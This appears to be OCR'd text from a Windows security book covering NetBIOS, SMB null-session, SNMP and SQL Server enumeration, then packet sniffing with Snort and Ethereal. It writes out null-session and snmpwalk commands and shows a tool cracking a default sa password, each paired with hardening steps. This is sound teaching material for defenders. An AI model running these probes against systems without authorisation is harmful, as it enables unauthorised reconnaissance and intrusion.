But running nbtstat -A against all the IPs that we have hits for is a chore.
Wouldn't it be great if someone had come up with a tool to do multiple
NetBIOS name table queries?

NetBIOS Name Type Description

nbname] <00> UNIQUE Workstation Service on host [nbname]

nbname] <01> UNIQUE Messenger Service on host [nbname]
nbname] <03> UNIQUE

nbname] <20> UNIQUE File Server Service on host [nbname]

[

[

[

[

[nbname] <22> UNIQUE Microsoft Exchange Interchange on [nbname]
[nbname] <23> UNIQUE Microsoft Exchange Store on [nbname]
[nbname] <24> UNIQUE Microsoft Exchange Directory on [nbname]

[
[
[
[

username] <03> UNIQUE  Messenger Service for user [username]
domain] <00> GROUP System is member of [domain]
domain] <1B> UNIQUE Domain Master Browser

domain] <1C> GROUP Domain Controller

Table 3-2. NetBIOS Name Type Definitions
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The utility nbtscan by Steve Friedl of Unixwiz.Net (http://www.
unixwiz.net/tools/nbtscan.html) does a fine job of conducting name table
queries across a range of addresses. This tool also simplifies the output of
the name table and does the name type parsing for us. So instead of indi-
cating a file server as <20> UNIQUE, nbtscan lists the IP address as
SHARING. The documentation on the nbtscan homepage is excellent; if
you'd like to try running large scale NetBIOS name table queries, a tool
like nbtscan will be a great help.

"
i‘ Hide NetBIOS Name Service

Other than blocking NetBIOS Name service traffic (UDP/137) at every
access control device possible, Name Table enumeration can be pre-
vented by disabling the NetBIOS over TCP/IP helpers. These services
support SMB communication with systems prior to Windows 2000, so
proceed with caution—do not just flip this switch on your PDC and go
home for the weekend.

To disable NetBIOS over TCP/IP on Windows 2000, XP, and 2003:

1. From the Network Connections control panel applet,
right-click your network interface and select Properties.
Select Internet Protocol (TCP/IP) and click Properties.
Click Advanced.

Select the WINS tab.

In the NetBIOS setting frame, select Disable NetBIOS over
TCP/IP (see Figure 3-2).

6. Click OK to close the Advanced Settings and TCP/IP
Properties dialog boxes.

ok W N

7. Click Close to exit the Interface Properties dialog box.

8. Confirm fix by attempting an nbtstat -A against your own
IP address.

\ SMB Session Service Probing

The NetBIOS session service manages the connections of SMB-enabled
applications such as Windows file sharing. When not properly config-
ured, this service can also expose heaps of useful information to non-au-
thenticated users including available file shares, valid user and group
names, and user account policies such as account lockout thresholds.
But before we can get any of this information, we will need to authenti-
cate to the remote host. How can we do that? Read on . . ..

It's frustrating to begin a discussion of anonymous authentication
without prefacing it with “in the old days.” While conscientious Internet
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Figure 3-2. Disabling NetBIOS over TCP/IP in Network Control Panel

server administrators have long since applied safeguards against this
technique, once you get past the firewalls, anonymous authentication is
almost a given. This problem has been so severe that many broadband
home ISPs have begun filtering traffic on TCP /139 to prevent their users
from being scanned in this fashion. Sadly, the problem can still be ex-
ploited on the direct SMB connection on TCP /445, so the blocking only
protects against a small subset of tools.

Null session is the term used for establishing an anonymously authenti-
cated connection to a Windows (or other SMB-enabled) host. The name de-
rives from the credentials supplied; both the username and the password are
setto . In the following example, we'll establish a null session to the insecure
host BRENDAN. Because we can’t establish a connection without specifying
a resource, we'll use the default inter-process communication share IPC$.

E:\hacknotes>net use \\BRENDAN\ipc$ "" /u:""
The command completed successfully.
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We have now established an anonymous session with BRENDAN.
Now we can make use of our very limited authentication and probe the
system a bit further. First let’s see if we can find out what shares, if any,
are available:

E:\hacknotes>net view \\BRENDAN
Shared resources at \\192.168.100.113

Share name Type Used as Comment

BACKUP Disk
HOME Disk
MOVIES Disk

The command completed successfully.

Even with the most restricted authentication level of an anonymous
user, we now have enough access on the host to list out all of its available
file shares. To see the effect that our null session had, we can clear the con-
nection we have established to \\BRENDANN\ipc$ and try again.

E:\hacknotes>net use \\BRENDAN\ipc$ /d
\\PHALANX\ipc$ was deleted successfully.

E:\hacknotes>net view \\BRENDAN
System error 5 has occurred.

Access is denied.

Without our null session established, we are denied when we at-
tempt to list out the file shares on the host.

While the Windows networking utility net can be used to gather a
great deal of information about a host using null session authentication,
a number of free tools are available that reduce the number of key-
strokes needed to squeeze all the useful system statistics from the target
host. In Chapter 6, we will use some of these tools to do some more
in-depth probing of the common Windows services, including NetBIOS
sessions.

Four of the best tools for simple NetBIOS enumeration are SecDump
by Somarsoft, Inc., NBTEnum by NTSleuth, Winfo by Arne Vidstrom of
ntsecurity.nu, and enum by the Razor team at Bindview, Inc. While each
tool operates a little differently, all can attempt the various null-session
enumeration methods using null sessions. SecDump is a GUI-based ap-
plication that can be a little more difficult to use, as you must first spec-
ify your target host and then select the individual enumeration tasks
you wish to try. NBTEnum, Winfo, and enum are all command-line
tools and well-suited for scripting. Winfo is probably the easiest of these
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tools and simply dumps everything it can find without any confusing
command-line options. NBTEnum even generates very high-quality
HTML reports with its findings. The following table lists the homepages
for each of these tools.

Tool Homepage

Bindview enum http:/ /razor.bindview.com
DumpSec (formerly DumpAcl) | http://www.somarsoft.com

NBTEnum v3.0 http:/ /ntsleuth.0Ocatch.com (offline as
of this writing)
http:/ /packetstormsecurity.nl/Win

Winfo http:/ /ntsecurity.nu

Restrict Anonymous SMB Access

Once again, the best defense against enumeration is to not expose the
service in the first place. Null sessions can be used against the NetBIOS
session service (TCP/139) or against direct SMB (TCP/445) on Win-
dows 2000 and above, so your first defense is to ensure that both of
these services are adequately blocked at your network borders. Ad-
dressing the problem as part of a defense-in-depth strategy becomes a
little more challenging as SMB/NetBIOS sessions are a core part of
Windows networking.

Fortunately, Microsoft has provided a facility to limit the exposure in-
curred by anonymous authentication. Introduced in Windows NT 4.0
SP3, the RestrictAnonymous setting allows us to control how much infor-
mation is made available to anonymous users, such as our null session.
On Windows NT, this setting could be configured only via the registry,
but Windows 2000 and above have made the setting available in the Se-
curity Policy editor. Aside from being an easier interface than the regis-
try, security policies can also be applied at the group level and pushed
down to domain members via Group Security Policies. We'll learn more
about security policies in Chapter 9, but for now we’ll provide instruc-
tions to set or verify the RestrictAnonymous setting on your system.

For Windows 2000:

1. Open the Security Policy editor by selecting Start | Run... |
secpol.msc.

2. Expand Local Policies.
3. Select Security Options.

4. In the Policy panel, double-click Additional Restrictions for
anonymous connections.

43
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5. From the Local Policy Setting pull-down menu, select either

Do not allow enumeration of SAM accounts and shares
(sets RestrictAnonymous=1, limits null session access)

or

No access without explicit anonymous permissions
(sets RestrictAnonymous=2, disables null sessions entirely)

6. Click Ok.

<1~ The RestrictAnonymous=1 setting on Windows NT and 2000 claims to disable
anonymous users from enumerating SAM details, such as the local usernames.
While this setting does block direct enumeration of accounts, there is a technique
known as SID (security identifier) walking that can be used to enumerate accounts
even when RestrictAnonymous=1. We discuss SID walking in Chapter 6.

The instructions for Windows XP and 2003 are a little more compli-
cated. Based on input from users and developers, Microsoft divided the
RestrictAnonymous into a number of different options so that null ses-
sion security is no longer an “all or nothing” decision. The settings that
effect null sessions are grouped under the Network Access category in
the Security Options panel. The best advice is to set maximum restric-
tions for all options, but you will need to experiment to find out which
settings you can enable without impacting client accessibility.

For Windows XP/Windows 2003:

1. Open the Security Policy editor by selecting Start | Run |
secpol.msc.

2. Expand Local Policies.

3. Select Security Options.

4. Review the following settings, applying our suggestions
as appropriate:

a. Allow anonymous SID/Name translation should be Disabled.

b. Do not allow anonymous enumeration of SAM accounts
should be Enabled.

c. Do not allow anonymous enumeration of SAM accounts
and shares should be Enabled.

d. Let Everyone permissions apply to anonymous users
should be Disabled.

5. Review the services and shares listed in
a. Shares that can be accessed anonymously

b. Named Pipes that can be accessed anonymously
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SNMP Enumeration (161/UDP)

While SNMP (Simple Network Management Protocol) isn’t enabled by de-
fault on any Windows operating systems, it is frequently implemented
for server monitoring or alerting via SNMP traps in environments that
make use of commercial management tools such as HP OpenView. As
such, it’s worthwhile to spend a couple of minutes discussing SNMP
and some enumeration tools.

Up until recently, we were fairly limited in our options for SNMP
enumeration from our Windows systems. The tool of choice was
SolarWinds Toolsets, evaluations of which can be downloaded from
http:/ /www .solarwinds.net. SolarWinds provides a very easy-to-use
graphical interface and offers a host of tools beyond the SNMP browser
capabilities, but unfortunately, there are no free GUI-based Win32
SNMP scanners that boast the same capabilities.

However, we have tracked down a Win32 implementation of the pre-
miere set of SNMP client tools, the ucd-snmp suite. A port of the tools
found on most Linux workstations, this toolset makes walking an SNMP
MIB tree a breeze. Currently, you can find these tools in the net-snmp pro-
ject at SourceForgenet, at the URL http://sourceforge.net/project/
showfiles.php?group_id=12694

The most useful of these tools is the snmpwalk utility, which will
simply step through the MIB tree using SNMP GET NEXT requests. You
don’t have to know anything about SNMP to use it as an enumeration
method, provided you have an adequate MIB definition file. SNMP
data is organized into a series of trees known as MIBs, and the protocol
addresses individual object IDs (OIDs) numerically. We can tell the
snmpwalk utility to use the MIBs included with the package, so the out-
put can be much more easily understood.

Of course, SNMP does have a very simple authentication scheme of
“community names” that will usually foil our attempts to conduct SNMP
enumeration. The community names default to public and private, with the
former specifying read-only access and the latter permitting write access
(where appropriate). Further complicating matters, in February of 2002,
an advisory was published by the Oulu University Secure Programming
Group describing multiple vulnerabilities in various SNMP implementa-
tions. Little came of these vulnerabilities, but their announcement
prompted most administrators to conduct full audits of their SNMP expo-
sure, so default community names are very rare today. (One powerful
utility born of this scare is the formidable SNScan from Foundstone, Inc., a
tool that can conduct highly accurate SNMP port scans by sending legiti-
mate SNMP requests with a user-provided community string. Go to
http:/ /www.foundstone.com for more information.)

All that said, the following is a truncated example of a successful
SNMP probe against a Windows XP host with the default public com-
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munity name. Note the use of the -M command-line switch to specify
the directory where our MIB definitions are located:

E:\hacknotes\snmp\usr\bin>snmpwalk -M "..\mibs" 192.168.100.113 public

system.sysDescr.0 = Hardware: x86 Family 6 Model 8 Stepping 10 AT/AT
system.sysName.0 = AK47

interfaces.ifTable.ifEntry.ifDescr.1l = MS TCP Loopback interface
interfaces.ifTable.ifEntry.ifDescr.65539 = NETGEAR FA310TX Fast Ether...
udp.udpTable.udpEntry.udpLocalPort.0.0.0.0.135 135
udp.udpTable.udpEntry.udpLocalPort.0.0.0.0.161 161

In the example, we can see the system description string (truncated in
our listing, the actual output goes on to include Software: Windows
2000 Version 5.1 Build 2600 Uniprocessor Free), the system
name, network interface names, and even open UDP ports. We've omitted
huge amounts of information, including routing tables, active connec-
tions, drive letters and volume names, printer definitions, running pro-
cesses, and even a list of installed software from the Add/Remove
programs applet. If you can’t find an SNMP-enabled system to try
snmpwalk against, install SNMP services on your own machine to test.
When you see the wealth of information available, you'll understand why
we’ve included it here despite its relative obscurity on today’s networks.

SNMP Countermeasures

First, disable the SNMP service. If SNMP services are required, ensure
adequate filtering of 161/UDP at all network borders and use strong
community names. SNMPv2 supports basic encryption for SNMP que-
ries; enable this if possible to reduce the chance that an attacker will cap-
ture your SNMP community string with a packet sniffer. The Windows
SNMP service can be configured (via the Services control panel applet)
to permit SNMP traffic from only specific hosts, so be sure to configure
this option to include only your SNMP management consoles.

Microsoft SQL Server Enumeration (1433/TCP, 1434/UDP)

In 2003, the SQL worm dubbed Slammer drew a great deal of attention to
Microsoft SQL Server 2000 and its little brother, MSDE (Microsoft SQL
Server 2000 Desktop Engine). The Slammer worm took advantage of a
vulnerability discovered by David Litchfield of Next Generation Secu-
rity Software (http://www.nextgenss.com). The vulnerability affects
the SQL Server Resolution service that runs on 1434 /UDP, which clients
use to determine whether to connect to the SQL server directly (over
1433 /TCP) or to use named pipes over a NetBIOS session (over 139/
TCP or 445/TCP). Microsoft quickly released a patch for the vulnerabil-
ity, but the SQL Server Resolution service remains, and the Slammer
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worm’s rampant success shows how commonly this service can be
found. (Of course, the first fix most organizations applied for the Slam-
mer worm was to block 1434 /UDP traffic at their network borders, so
this hack will rarely work until you've gained a foothold on the internal
network. Another side effect of this explicit block rule is that some envi-
ronments return an ICMP admin prohibited message to UDP /1434
probes, which can cause some port scanners to false positive.)

Chip Andrews of SQLSecurity.com wrote a tool called SQLPing
that can query the resolution service for information about the hosted
databases. Because the resolution service wasn’t available in previous
versions of SQL Server, the SQLPing tool can also gain the same infor-
mation from 1433/TCP, though the discovery may be somewhat
slower. SQLPing is available in both command-line and GUI flavors,
both from http://www.sqlsecurity.com. The GUI version (SQLPing
v2.2) has enhanced scanning options, such as the ability to read IP lists
from a file and a dictionary-based password cracker read from
user-provided username and password files. A bonus feature is the
Discovery Ping tool, which will send a SQL Resolution Service ping to a
broadcast address and then listen for responses. This is a great tool for
finding SQL servers on the local network. Figure 3-3 shows SQLPing
v2.2 at work, having discovered the SQL service on host MANDARK
and cracking the sa account password, password.

Hiding Microsoft SQL Servers

Microsoft SQL Server 2000 and MSDE will both establish a resolution service
on 1434/UDP. Removal of this service is fairly complicated and effectively
removes the SQL Server’s networking altogether. As such, the first step is to
ensure that your SQL installation is patched against the Slammer worm.
Microsoft’s Security and Privacy web site has an excellent article on Slammer
defense at http:/ /www.microsoft.com/security /slammer.asp and directs
users to download and run the SQL Server Critical Update Wizard. Months
after the Slammer’s initial discovery, a colleague of mine was infected as he
installed a new copy of MSDE while plugged into a broadband hotel net-
work. Slammer infections still occur, and more serious exploits for the same
vulnerability do exist, so be sure that all SQL Servers are patched before
they’re brought online.

When you're sure the server is patched, filter traffic to the SQL Server
to only the hosts that require it. In many cases, a SQL Server is only di-
rectly addressed by three to four hosts, and most of the data is supplied ei-
ther by web clients or an application server. This makes a SQL Server a
prime candidate for using the IP Security Policy features available in Win-
dows 2000 and above. We'll discuss these features in Chapter 11 and show
how to protect a SQL Server using both IPSec and simple IP filtering.
Finally, as always, make certain that your border devices filter 1433 /TCP
and 1434/UDP without exception.
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'z SOLPing2 by Chip Andrews - hitp: //www. sqlsecurity.com
File  Settings Lty Help
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E:Shacknotesh ut
Begin Scan [ Cancel | ST _]
~ Sesvers Found
IP Address Clustered? Version ICP Port

100. 103 Ho 00194 1433

d

** Scanming Initiated ** -
Loading Userlist

no Userlist - using 'sa' only

Loading PassList

no Passlist - using °' only

Scanting host : 19E. 162.100.100
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19Z.168.100.102 MANDAPE Ho £.00.194 1433
00:00:24 ** Server: 19Z.168.100.103 Port:1433 W N :sa P d:p d ﬂ

Figure 3-3. SQLPing v2.2 makes quick work of the SQL Server on host MANDARK.

SUMMARY

Despite all the media hype to the contrary, hacking is a careful and often
tedious process of discovery and education. In our discussion of
footprinting, scanning, and enumeration, we’ve reduced techniques
that took years to pioneer into fifty-odd pages of text in the last three
chapters. And while new technologies and services will change the spe-
cifics of the information, the fundamental steps will remain the same.
Here we’ve learned how to talk to some common services and extract
some amount of configuration information from them. We’ll discuss
Windows service offerings further in Chapter 6 and 7 when we take an
in-depth look at the default Windows 2000 and 2003 security postures.
Before we get to that, however, we'll cover one more skill that will come
in useful time and again: the fine art of packet sniffing.
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s computers have grown easier to use, being computer proficient
has become more about knowing how to use a computer than
knowing how a computer works. For most, this is fine—many
people who work on computers daily become lost if they can’t find their
Windows Start button. But when it comes to hacking (and securing) net-
worked devices, an understanding of the underlying network activity is
invaluable. When your port scanner says the port is closed but you have
reason to believe it’s open, your packet sniffer will give you the real story.
Over the next few pages, we introduce two freely available Win-
dows packet sniffing tools and then use them to take a look at the actual
packets used by some of the simple scanning and enumeration tools dis-
cussed in the previous chapters. Our goal in this chapter is to provide
you the basic skills necessary to see exactly what your tools are doing. If
you’d like to learn more about TCP/IP fundamentals, the author recom-
mends the grandfather of the genre, TCP/IP Illustrated, Volume 1 by W.
Richard Stevens (Addison-Wesley).

THE VIEW FROM THE WIRE

Packet sniffing refers to the process of capturing raw network packets for
analysis before they are processed (or ignored) by your system’s TCP/
IP implementation, which allows us to see traffic whether or not it was
intended for our system. This information can help us immensely
whether we're first beginning to scan a system or troubleshooting our
enumeration or exploit tools. No matter how carefully implemented a
protocol is, every detail is exposed when its data crosses the wire. With
no user interface between you and the data, you can infer details about
the originating system that are otherwise discarded.

Windows Packet Sniffing

A few years ago, there weren’t a great deal of quality packet capture
tools available for Windows systems, and the most useful tools were
very expensive commercial products, usually unavailable to the uniniti-
ated. Fortunately, Loris Degioanni and team set about the task of port-
ing the popular UNIX packet capture library libpcap to the Windows
operating system. Their success introduced WinPcap, now in its third
revision, and opened the world of packet capture to aspiring Windows
programmers. Many excellent UNIX tools now have fully functioning
Win32 equivalents thanks to the work of the WinPcap team and count-
less developer hours.

Both of the tools we discuss in this chapter are UNIX descendents
and require the WinPcap library. So if you didn’t install it when we dis-
cussed nmap in Chapter 2, you need to do so now. You can download
the latest WinPcap installer from http://winpcap.polito.it.
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ﬂ You may have heard the expression “promiscuous mode” in discussions about
packet sniffing. By default, a network adapter will ignore any packets it sees that
aren’t destined for its address and will not allow the operating system to see those
packets. When you place an adapter in promiscuous mode (the origin of this term is
left to the reader’s imagination), the adapter stops filtering by address and will for-
ward all received packets to the operating system, allowing our sniffer to see all the
traffic on the wire. The tools in this chapter activate promiscuous mode by default,
but both have options to disable promiscuous mode.

Command-Line Packet Capture: Snort

Yes, Snort. You may be familiar with Snort as a host-based IDS (intrusion
detection system), and a fairly powerful one at that. At its core, Snort is a
packet sniffer; it scans network traffic and compares the packets it finds to
an extensive library of rules to determine if the packet is possibly mali-
cious, and if so, takes the action specified in the rule. This part of Snort’s
functionality, while very useful and worth investigating, is not what
we're looking for. We’re going to use Snort as a simple packet dump tool.

There are two reasons why we’ve chosen Snort as our command-
line tool for this chapter. First, Snort’s command-line syntax for traffic
filtering is based on that of the UNIX utility tcpdump, so if you can set a
filter on Snort, you can also use tcpdump. Our GUI packet sniffing tool
uses this same filter syntax as well. Second, while the WinPcap team has
developed a port of tcpdump (appropriately named WinDump), it
seems to lack the valuable feature of listing the available interfaces, a
very handy feature on systems with multiple adapters or VPN (virtual
private networking) drivers installed. That Snort is an excellent tool and
very educational in its own right is just coincidence.

Snort can be downloaded from http:/ /www.snort.org as a Win32 in-
stallation executable. You shouldn’t need the FlexResponse or the
Microsoft SQL logging options unless you want to use Snort’s IDS en-
gine. When the installation is completed, we can test that Snort is finding
WinPcap properly by listing the available interfaces. Open a command
prompt and navigate to the directory where Snort was installed (usually
C:\Snort\bin), then enter the list interfaces command-line option: -w.

C:\Snort\bin>snort -W

-*> Snort! <*-

Version 2.0.0-ODBC-MySQL-WIN32 (Build 72)

By Martin Roesch (roesch@sourcefire.com, www.snort.org)

[...]

Interface Device Description

1 \Device\NPF_{BB1D0098-0395-4238-B72C-8FB099DDF50C} (UNKNOWN. . .

o1
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<1 Snort’s output is often quite verbose; for the sake of brevity we have omitted some
details from our examples.

If Snort doesn’t return at least one network adapter, then it’s likely
that WinPcap isn’t installed or that Snort isn’t detecting it properly (try
reinstalling the WinPcap library and rebooting). If Snort presented more
than one adapter, you can usually determine which interface is your pri-
mary network connection from the description. Often, WinPcap will rec-
ognize virtual VPN adapters as interfaces, or you may in fact have
multiple network interfaces. If you still can’t tell which to use, just try
each interface until you see some traffic.

Next, we'll have Snort capture some ICMP traffic. Open a second
command prompt and start pinging any device. Use the -t flag to keep
pinging until you cancel the application.

C:\>ping 10.0.0.1 -t

Switch back to your Snort window and start capturing packets. If the
interface list had only one entry, you'll need to give Snort only the ver-
bose flag -v; otherwise, specify the interface number using -i number.

C:\Snort\bin>snort -i 1 -v

If you're lucky, you'll see your ICMP ECHO packets, and (if the host
is responding) the ECHO REPLIES from your ping target. However,
odds are that you will see these packets and quite a few others as well.
Because there are no filters in our Snort command, Snort is displaying
every packet it sees. You can stop Snort with CTRL-C, and we’ll try again,
this time filtering out everything but ICMP.

C:\Snort\bin>snort -i 1 -v icmp
Running in packet dump mode
[...]

--== Initialization Complete ==--

-*> Snort! <*-
Version 2.0.0-ODBC-MySQL-WIN32 (Build 72)
By Martin Roesch (roesch@sourcefire.com, www.snort.org)

[...1

04/21-22:13:19.156585 192.168.100.4 -> 192.168.100.1

ICMP TTL:128 TOS:0x0 ID:16436 IpLen:20 DgmLen:60

Type:8 Code:0 1ID:512 Seq:4864 ECHO
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
04/21-22:13:19.157192 192.168.100.1 -> 192.168.100.4

ICMP TTL:255 TOS:0x0 ID:865 IpLen:20 DgmLen:60

Type:0 Code:0 1ID:512 Seq:4864 ECHO REPLY

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=
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That’s not so frightening, is it? For each packet, Snort is providing a
host of details. With the -v flag set, Snort is in packet dump mode and
provides a summary of each packet it sees. In this mode, we won't see
the actual packet payload, so the program output is cleaner and less
confusing. You can instruct Snort to dump the entire raw packet by set-
ting the -X flag or to output only character data from the packet payload
using the -C flag (please note both options are capital letters).

Let’s see how a DNS lookup looks from Snort’s perspective. Cancel
out of Snort and your ping command by sending each a CTRL-C, then
start Snort again, this time filtering only for UDP traffic. But wait, there
might be noisy UDP traffic on the wire, such as NetBIOS name broad-
casts on UDP/137. We can filter that out by specifying port 53 in addi-
tion to udp:

C:\Snort\bin>snort -i 1 -v -X udp and port 53
In our application window, use ns1lookup to perform a DNS lookup.
C:\>nslookup www.google.com

We’ve run only two packet captures so far, but you're probably
starting to get the gist of it. With only Snort’s summary of the packet
headers, we can get a good feel for what our network tools are doing
on the wire. You might be wondering why there were more than just
one or two UDP exchanges for a simple DNS lookup. Try running the
same query again, but this time set the -X flag for Snort to display the
raw packet output and see if you can determine the process nslookup
follows to find the IP address for www.google.com. Don’t worry if you
can’t quite piece it together; we'll revisit this query in the next section
and use a packet analyzer to better understand what each packet’s
purpose is.

So far we’ve been using simple filter lists. In the next example, we’ll
use a compound filter statement to filter for ICMP traffic, DNS queries
and zone transfers, telnet, and SMTP.

C:\Snort\bin>snort -v icmp or (udp and port 53) or (tcp and
(port 25 or 53))

As you can see, we can create complex filters using the logical op-
erators AND and OR and grouping using parentheses. There’s a lot
more to Snort’s tcpdump-style filters, such as using the host or net
keyword to filter on IP addresses. To serve your future command-line
packet sniffing needs, we’ve included a WinPcap Filter Syntax refer-
ence in the Reference Center.
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Packet Capture and Analysis: Ethereal

The packet dump capabilities of Snort come in very handy when you
need a quick sniff to confirm or deny your suspicions about network
traffic. When we need to learn more about the purpose of the traffic, we
need a more specialized packet capture tool, one that’s capable of ana-
lyzing common networking protocols to provide a more comprehen-
sive explanation of the packet’s content.

Once again, the open source movement has made Windows a more
comfortable place to live. Previously available only on UNIX systems,
Ethereal (according to the web site, both pronunciations are correct)
was ported to Windows after the WinPcap library began to mature. Li-
censed under the GNU Public License, Ethereal can decode more than
350 different protocols, rendering the packet data hierarchically and
displaying the fields and values set for each data layer. Without tools
like this, you would need to reference protocol specification RFC docu-
ments and count byte offsets to learn the gory details of each packet.

Ethereal for Windows is available at http://www.ethereal.com as a
Win32 installation executable. In this chapter, we will be working with the
Ethereal GUI application, but you may wish to install the command-line
Tethereal traffic analyzer as well. As mentioned earlier, Ethereal requires
that the WinPcap libraries be installed on your system. If you haven’t done
so already, you can install that package from http://winpcap.polito.it.

After the installation, you can start Ethereal from the Windows start
menu by selecting Start | Programs | Ethereal | Ethereal. As we did
with Snort, we’ll first check that Ethereal has recognized the WinPcap li-
brary by checking the available interfaces. From the program menu, se-
lect Edit | Preferences | Capture. In the right-hand panel, you should
see at least one interface available in the pull-down menu, as shown in
Figure 4-1. If there are no interfaces listed, try reinstalling the WinPcap
libraries and rebooting your system; if there is more than one interface,
select your primary network connection.

Ethereal’s filtering can be defined manually when you start a cap-
ture, or you can store custom filter definitions by selecting Edit | Cap-
ture Filters from the program menu. For our examples, we will forego
the filter definitions to simplify our instructions. To get started using
Ethereal, we'll define a filter and capture ping traffic as we did with
Snort. For our first capture, we’ll show you the process step by step.

1. Select Capture | Start...

2. Confirm the selected network adapter on the Interface
pull-down menu.

3. In the Filter field, enter icmp. The Filter field in Ethereal uses
the same syntax as the Snort command-line filtering.
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4. Optionally, select the Update list of packets in real time, and
the Automatic scrolling in live capture options.

5. Optionally, adjust the parameters in the Name Resolution
group to your preference.

6. Click OK to begin packet capture. Ethereal will open a new
window with capture statistics.

Now, open a command prompt and ping a device. As the ping pack-
ets are sent, the ICMP counter on the capture statistics window should in-
crement. After you've captured a few packets, cancel the ping operation
and click Stop in the capture statistics window. Ethereal will display the
captured packets in the top panel of the main program window.

The Ethereal window is divided into three sections. The top frame
contains the captured packet list, providing high-level packet details in-
cluding time, source and destination address, protocol, and a packet de-
scription. The middle frame contains the packet decode display, which
lists the name and value of each decoded field of the packet. The packet
details are organized hierarchically by protocol layer. The bottom frame
shows the raw packet in hexadecimal notation, the same as the -X flag
we used in Snort.

The three capture display panels are interactive—selecting a differ-
ent packet from the top frame will update the decode data in the bottom
two frames, and selecting a specific data field in either of the bottom
frames will highlight the related data in the other panel. For example,

(& Ethereal Pieferences

Printing Capture
Columns Interface:  [UNKNOWN NETGEAR FAS10TX Fast E| /]
TCP Streams
User Interface Capture packets in promiscuous mode:
Capture 1 . ol
Waiie issolition Update list of packets in real time:  _|

B Protocols Automatic scralling in live capture: |

Ok | Apply Save Cancal

Figure 4-1. The Ethereal Capture Preferences dialog box
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click on the first few bytes of the raw packet output in the bottom frame.
Ethereal expands the Ethernet II tree and highlights the destination
MAC address.

Because Ethereal makes such quick work of packet analysis, let’s re-
visit our earlier DNS example and find out exactly what nslookup is
doing that takes more than two packets. Restart the Ethereal capture by
selecting Capture | Start..., and replace the filter definition with udp
and port 53 to capture only DNS traffic. Click OK to start the capture,
and then perform a DNS query in a command prompt window (that is,
nslookup www.yahoo.com). When the DNS lookup has completed,
click the Stop button on Ethereal’s capture statistics window.

Now the DNS process becomes a little clearer. (Because the DNS cap-
ture results will vary depending on your local DNS configuration, refer to
Figure 4-2.) Packet (or Frame) 1 was a reverse lookup on the DNS server’s
IP address so that ns1ookup could show the DNS server’s hostname in
its output. Packet 2 is the response to that query, providing the hostname
phalanx.hacknotes.com. In packet 3, our client has appended the suffix
hacknotes.com to our supplied hostname www.yahoo.com and is execut-
ing a DNS lookup on the full hostname www.yahoo.com.hacknotes.com.
Packet 4 is a response from the DNS server, informing our client that the
requested hostname does not exist, so our client tries the next hostname
iteration (the correct one this time) in packet 5. Because the author is using

R - <
File Edit Capture Display Tools Halp
Mo, . |'I'|me |Sourt:e IDeatinalion |F'rutoc:ol 1Infu

1 0.000000 152,168,100, 192.168.100.105 DHNS standard query PTR 105.100.168.192. 7n-ad
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3 0.001903 192.168.100. V168,100,105 DNS standard query & www.yahoo.com. hacknotes
4 0.002277 192.168.100. 168.100.4 OHE standard query rasponse, Mo such name
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Figure 4-2. The Ethereal decode of a DNS query
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a shared network in his test lab, Ethereal was able to capture packets 6
and 7, showing the DNS lookup being forwarded to a public name server.
Finally in packet 8, our DNS lookup is resolved and our client is provided
the IP addresses for www.yahoo.com.

From comparing the output of our command-line packet dump to de-
tailed analysis provided by Ethereal, the advantage of automated packet
decoding should be immediately obvious. Even if you were able to infer
the DNS lookup behavior from the raw packets of Snort’s output, Ethe-
real’s summary fields are clearly easier to decipher than raw data.

SUMMARY

A working knowledge of packet capture and analysis tools is a highly
marketable trait. Moreover, decoded packets are a gateway to learn-
ing—by using network tools like those discussed in this book and de-
coding their activity, you'll become more comfortable with TCP/IP
concepts and the protocols that are built upon them. As mentioned in
the introduction, our objective in this chapter was merely to introduce
you to packet sniffing, not to force-feed all the nuances of IPv4. We hope
this brief tutorial provides you enough of a foundation so that you can
use these tools in your daily life and build on your knowledge through
experience.

Later in this book, we’ll come back to packet sniffing as a way to cap-
ture user authentication processes in Chapter 6, and to verify network
traffic encryption when we enable IP Security in Chapter 12. In the next
chapter, however, we will begin discussing the Windows operating sys-
tem in earnest as we review how security is implemented in Windows
2000 and above.
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services from the wire to gain some experience with the hacker’s

point of view. We covered the raw fundamentals of hacking: finding
targets, scanning them for available services, and then probing those
services for any additional hints that might provide more information
about the systems. In this section, we’ll switch our perspective to that of
system administrator and explore the tools and concepts we can use to
defend our systems.

In the first section of this book, we concentrated on probing Windows

COMPONENTS OF THE WINDOWS
SECURITY MODEL

Providing security facilities in an environment as complex as the Win-
dows operating system is an enormous task. To use a network security
analogy, in order to be considered secure, an operating system is re-
quired to firewall itself—that is, for every request it’s asked to execute,
the system must confirm whether or not the requesting agent has per-
mission to access the resource requested. On a system level, this is a
much more intensive effort. In addition to managing networked re-
sources, system architects must concern themselves with thousands of
other objects as well, from individual bytes of memory to hardware device
drivers to the most unpredictable component, the user.

With the enormous array of resources that need to be secured, any
non-centralized approach is bound to be riddled with security holes, ei-
ther from a failure to implement any security whatsoever or simple hu-
man programming errors. This universal understanding is reflected in
modern operating system design with the implementation of a common
security model, a single privileged component, or a collection of compo-
nents that serve as a central access control authority. This approach sim-
plifies development as well as administration by providing a common
dialect for system security and assures that all components are in compli-
ance by refusing access to unregistered agents. In this chapter, we'll ex-
plore the concepts, elements, and processes that comprise the centralized
security model of Windows 2000 and 2003. We'll approach the Windows
security model from the bottom up, first covering items that are exposed
to the user interface and then discussing the internal systems that are re-
sponsible for the decision making and verification.

Security Operators: Users and User Contexts

Any access control decision is based on at least two elements, a who and
a what. The who and what may be interchangeable, but all access re-
quests are comprised of at least these two components. For example, on
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a firewall, the who is typically a host or IP address, and the what is typi-
cally a host and service. In an operating system, the who is the user (the
user account, really) and the what is a system resource.

Users

All execution under the Windows operating system, even that of the
low-level security provider modules themselves, will take place under
some user context. This user context determines the trusts and permis-
sions afforded to the application. Prior to Windows XP, this behavior
was not clearly indicated in the user interface (though it could be en-
abled on Terminal Servers), but both the XP and Windows 2003 Server
Task Manager application boasts a User Name column that shows the
user context of every process in the task list.

As you can see from Figure 5-1, only a small fraction of the applica-
tions that make up your Windows operating session are executing un-
der the logged-in user context. The vast majority of the tasks are
executing as the SYSTEM user, and a handful are running under the
special users LOCAL SERVICE and NETWORK SERVICE. With the ex-
ception of the SYSTEM and Administrator (or whatever Administrator
has been renamed to—we’ll see momentarily that it really doesn’t mat-
ter) user contexts, most users are subject to fairly stringent restrictions.

B windows Task Manager M=l
